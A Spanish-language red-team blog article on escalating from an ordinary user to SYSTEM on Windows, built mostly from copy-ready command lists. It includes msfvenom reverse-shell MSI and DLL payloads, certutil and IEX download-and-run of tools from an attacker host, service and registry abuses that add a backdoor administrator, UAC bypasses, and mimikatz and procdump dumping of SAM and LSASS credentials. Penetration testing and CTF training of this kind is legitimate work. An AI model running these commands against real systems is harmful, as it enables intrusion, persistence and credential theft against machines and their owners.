Escalada de privilegios en Windows:
de usuario a SYSTEM
Serie Red Team | unfantasmaenelsistema.com
Windows tiene su propio ecosistema de escalada de privilegios, distinto al de Linux pero igualmente rico en vectores. Tokens de acceso, niveles de integridad, el Control de Cuentas de Usuario, servicios mal configurados, DLLs que se cargan desde directorios con permisos incorrectos, y la familia de ataques Potato que convierte el privilegio SeImpersonatePrivilege en acceso de SYSTEM. El entorno corporativo añade Active Directory, Kerberos y una superficie de ataque que cubre los artículos siguientes de la serie.
Este artículo cubre los vectores más frecuentes en sistemas Windows standalone, con la enumeración específica de cada uno, los comandos exactos para detectarlos y explotarlos, y el flujo que sigue un pentester para llegar desde un usuario sin privilegios hasta SYSTEM.


1. El modelo de privilegios de Windows
Antes de intentar cualquier técnica, hay que entender cómo funciona el modelo de privilegios de Windows. Es fundamentalmente diferente al de Linux: en lugar de un bit SUID y el concepto de root, Windows usa tokens de acceso, niveles de integridad y privilegios asignados a usuarios y grupos.

El privilegio más importante para la escalada de privilegios en Windows es SeImpersonatePrivilege. Este privilegio permite a un proceso impersonar el token de otro proceso. Las cuentas de servicio (IIS, MSSQL, servicios de Windows) lo tienen por defecto, lo que significa que si conseguimos acceso a través de una vulnerabilidad web en IIS, casi siempre tendremos este privilegio disponible para escalar a SYSTEM.
2. Enumeración inicial
El primer comando es siempre whoami /all: muestra usuario, grupos y privilegios en una sola línea. SeImpersonatePrivilege presente en la lista es casi siempre la vía más rápida a SYSTEM.

whoami
whoami /priv
whoami /groups
whoami /all
systeminfo
systeminfo | findstr /i «os name»
systeminfo | findstr /i «hotfix»
net user
net user Administrator
net localgroup
net localgroup Administrators
tasklist /svc
tasklist /v
Get-Process | Select-Object Name,Id,Path
sc query type= all state= running
netstat -ano
netstat -ano | findstr LISTENING
set
Get-ChildItem Env:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
▲ Comandos copiables
3. AlwaysInstallElevated
AlwaysInstallElevated es una de las misconfiguraciones más simples de explotar: cuando está activa, cualquier usuario puede instalar un paquete MSI con privilegios de SYSTEM. Es una configuración que los administradores activan a veces para simplificar la instalación de software y olvidan desactivar.


reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Get-ItemProperty ‘HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer’ -Name AlwaysInstallElevated
Get-ItemProperty ‘HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer’ -Name AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f msi -o shell.msi
python3 -m http.server 8080
certutil -urlcache -split -f http://192.168.56.10:8080/shell.msi C:\Windows\Temp\shell.msi
msiexec /quiet /qn /i C:\Windows\Temp\shell.msi
Start-Process msiexec -ArgumentList ‘/quiet /qn /i C:\Windows\Temp\shell.msi’ -Wait
▲ Comandos copiables
4. Servicios vulnerables
Los servicios de Windows son procesos que se ejecutan en segundo plano, normalmente con privilegios elevados. Hay tres vectores distintos según qué permiso incorrecto tiene el servicio: permisos sobre el ejecutable, permisos sobre la configuración del servicio, o una ruta sin comillas con espacios que permite colocar un ejecutable en una ruta intermedia.


wmic service get name,displayname,pathname,startmode
Get-CimInstance Win32_Service | Select-Object Name,PathName,StartMode,StartName
wmic service get name,displayname,pathname,startmode | findstr /i «auto» | findstr /i /v «c:\windows\\» | findstr /i /v «\»»
Get-CimInstance Win32_Service | Where-Object {$_.PathName -notmatch ‘»‘ -and $_.PathName -match ‘ ‘} | Select-Object Name,PathName
icacls «C:\Path\To\Service.exe»
Get-Acl ‘C:\Path\To\Service.exe’ | Format-List
sc sdshow VulnService
accesschk.exe -ucqv VulnService
accesschk.exe -uwcqv «Authenticated Users» *
sc config VulnService binPath= «cmd /c net localgroup Administrators hacker /add»
sc stop VulnService
sc start VulnService
sc config VulnService binPath= «C:\Path\Original\service.exe»
▲ Comandos copiables
5. DLL Hijacking
Cuando Windows carga una DLL, busca en varios directorios en orden. Si un proceso privilegiado intenta cargar una DLL que no existe en los primeros directorios de búsqueda, y tenemos permisos de escritura en alguno de esos directorios, podemos colocar nuestra propia DLL maliciosa que se cargará con los privilegios del proceso.


msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f dll -o maliciosa.dll
Get-Process -Name VulnApp | Select-Object -ExpandProperty Modules
tasklist /m /fi «imagename eq VulnApp.exe»
icacls «C:\Program Files\VulnApp\»
copy maliciosa.dll «C:\Program Files\VulnApp\target.dll»
sc stop VulnService
sc start VulnService
x86_64-w64-mingw32-gcc -shared -o maliciosa.dll maliciosa.c -lws2_32
certutil -urlcache -split -f http://192.168.56.10:8080/maliciosa.dll C:\Windows\Temp\maliciosa.dll
▲ Comandos copiables
Process Monitor (Procmon) de Sysinternals es la herramienta indispensable para detectar DLL hijacking. Filtrando por Operation = CreateFile + Result = NAME NOT FOUND + Path ending with .dll, muestra exactamente qué DLLs busca cada proceso sin encontrar. Si la ruta buscada está en un directorio donde tenemos escritura: vector identificado.
6. Token Impersonation: la familia Potato
Si whoami /priv muestra SeImpersonatePrivilege: Enabled, la escalada a SYSTEM es casi directa con las herramientas modernas de la familia Potato. Esta familia de ataques crea un servicio COM/RPC local al que un proceso SYSTEM se conecta, captura su token y lo impersona para ejecutar comandos con los privilegios de SYSTEM.


whoami /priv
whoami /priv | findstr /i «impersonate»
certutil -urlcache -split -f http://192.168.56.10:8080/PrintSpoofer64.exe C:\Windows\Temp\ps.exe
C:\Windows\Temp\ps.exe -i -c cmd
C:\Windows\Temp\ps.exe -c «net user hacker Pass123! /add»
C:\Windows\Temp\ps.exe -c «net localgroup Administrators hacker /add»
certutil -urlcache -split -f http://192.168.56.10:8080/GodPotato.exe C:\Windows\Temp\gp.exe
C:\Windows\Temp\gp.exe -cmd «cmd /c whoami»
C:\Windows\Temp\gp.exe -cmd «cmd /c net user hacker Pass123! /add && net localgroup Administrators hacker /add»
certutil -urlcache -split -f http://192.168.56.10:8080/JuicyPotato.exe C:\Windows\Temp\jp.exe
C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a «/c net user hacker Pass123! /add» -t *
load incognito
list_tokens -u
impersonate_token «NT AUTHORITY\SYSTEM»
▲ Comandos copiables
La elección de herramienta depende de la versión de Windows. PrintSpoofer y GodPotato funcionan en Windows 10 y Server 2019/2022. JuicyPotato funciona en versiones anteriores pero requiere un CLSID específico para el sistema objetivo (hay listas disponibles en GitHub). En entornos más modernos donde ninguno de estos funciona, RoguePotato o SweetPotato son alternativas a considerar.
7. UAC Bypass
UAC (User Account Control) es el mecanismo que muestra el prompt «¿Desea permitir que esta aplicación realice cambios?» cuando un proceso intenta elevarse. Si tenemos acceso como usuario del grupo Administradores pero con nivel de integridad Medium (sin el prompt de elevación), necesitamos un bypass de UAC para llegar a High o SYSTEM.


whoami /groups | findstr /i «integrity»
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -Value » -Force
Start-Process fodhelper.exe
Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force
New-Item -Path HKCU:\Software\Classes\mscfile\shell\open\command -Value ‘cmd.exe /c net user hacker Pass123! /add’ -Force
Start-Process eventvwr.exe
Remove-Item -Path HKCU:\Software\Classes\mscfile -Recurse -Force
use exploit/windows/local/bypassuac_fodhelper
set SESSION 1
run
▲ Comandos copiables
Una aclaración importante: el UAC bypass solo es relevante si ya somos miembro del grupo Administradores. Si somos un usuario estándar sin pertenencia al grupo de administradores, el UAC bypass no aplica. En ese caso hay que escalar primero con alguno de los vectores anteriores y luego hacer el bypass de UAC si es necesario.
8. Credenciales almacenadas
Windows almacena credenciales en múltiples lugares: el gestor de credenciales, el registro de Winlogon (autologon), archivos de configuración de aplicaciones web, archivos de instalación desatendida y el historial de PowerShell. Cualquiera de ellos puede contener credenciales de administrador en texto claro.

cmdkey /list
runas /savecred /user:Administrator cmd.exe
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
reg query HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
findstr /si password *.txt *.ini *.config *.xml
findstr /si password C:\*.txt
findstr /si password C:\inetpub\wwwroot\*.config
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattended.xml
type C:\Windows\sysprep.inf
type C:\Users\usuario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Get-ChildItem -Path C:\ -Include *.txt,*.ini,*.xml,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern ‘password’ -CaseSensitive:$false
▲ Comandos copiables
Los archivos de instalación desatendida (Unattend.xml, sysprep.inf) merecen atención especial: se usan para desplegar Windows en múltiples máquinas con una configuración predefinida, y frecuentemente contienen la contraseña del administrador local codificada en base64 o incluso en texto claro. Estos archivos deberían eliminarse después del despliegue pero con frecuencia no se hace.
9. SAM y LSASS: las bases de datos de contraseñas
Una vez que llegamos a Administrador o SYSTEM, el siguiente objetivo suele ser extraer hashes de contraseñas para movimiento lateral. SAM contiene los hashes de las cuentas locales. LSASS mantiene en memoria las credenciales de los usuarios con sesión activa.


reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
secretsdump.py -sam sam.save -system system.save LOCAL
secretsdump.py Administrator:Password@192.168.56.101
certutil -urlcache -split -f http://192.168.56.10:8080/mimikatz.exe C:\Windows\Temp\mimi.exe
C:\Windows\Temp\mimi.exe
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
lsadump::secrets
C:\Windows\Temp\mimi.exe «privilege::debug» «sekurlsa::logonpasswords» exit
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
pypykatz lsa minidump lsass.dmp
▲ Comandos copiables
Una consideración importante sobre los antivirus modernos: Mimikatz es detectado por prácticamente todos los antivirus con firmas actualizadas. En entornos con EDR (Endpoint Detection and Response) activo, se necesitan variantes ofuscadas o técnicas alternativas como el dump de LSASS con procdump (firmado por Microsoft, menos sospechoso) y el procesamiento offline con pypykatz.
10. WinPEAS: enumeración automática
WinPEAS es el equivalente Windows de LinPEAS: un script que enumera automáticamente cientos de vectores de escalada de privilegios y codifica los resultados por colores según la probabilidad de éxito. El proceso de transferencia y ejecución requiere un servidor HTTP temporal en Kali.

python3 -m http.server 8080
certutil -urlcache -split -f http://192.168.56.10:8080/winPEAS.exe C:\Windows\Temp\wp.exe
Invoke-WebRequest -Uri http://192.168.56.10:8080/winPEAS.exe -OutFile C:\Windows\Temp\wp.exe
C:\Windows\Temp\wp.exe
C:\Windows\Temp\wp.exe > C:\Windows\Temp\winpeas_output.txt
IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.56.10:8080/winPEAS.ps1’)
certutil -urlcache -split -f http://192.168.56.10:8080/Seatbelt.exe C:\Windows\Temp\sb.exe
C:\Windows\Temp\sb.exe -group=all
IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.56.10:8080/PowerUp.ps1’)
Invoke-AllChecks
▲ Comandos copiables
11. Resumen de vectores y flujo completo


Conclusión
La escalada de privilegios en Windows sigue una lógica similar a la de Linux: enumeración sistemática, priorizar los vectores más probables primero, y usar herramientas automáticas como WinPEAS para no pasar nada por alto. La presencia de SeImpersonatePrivilege es el vector más frecuente en máquinas de CTF porque es el privilegio que tienen por defecto las cuentas de servicio web, y las máquinas CTF frecuentemente usan vulnerabilidades web como punto de entrada.
El siguiente artículo de la serie cubre Active Directory: el entorno donde transcurre la mayoría de las auditorías corporativas reales. Kerberoasting, AS-REP Roasting, Pass the Hash, BloodHound, y la escalada desde un usuario de dominio sin privilegios hasta Domain Admin.

unfantasmaenelsistema.com | Seguridad, sistemas y todo lo que no debería funcionar (pero funciona)

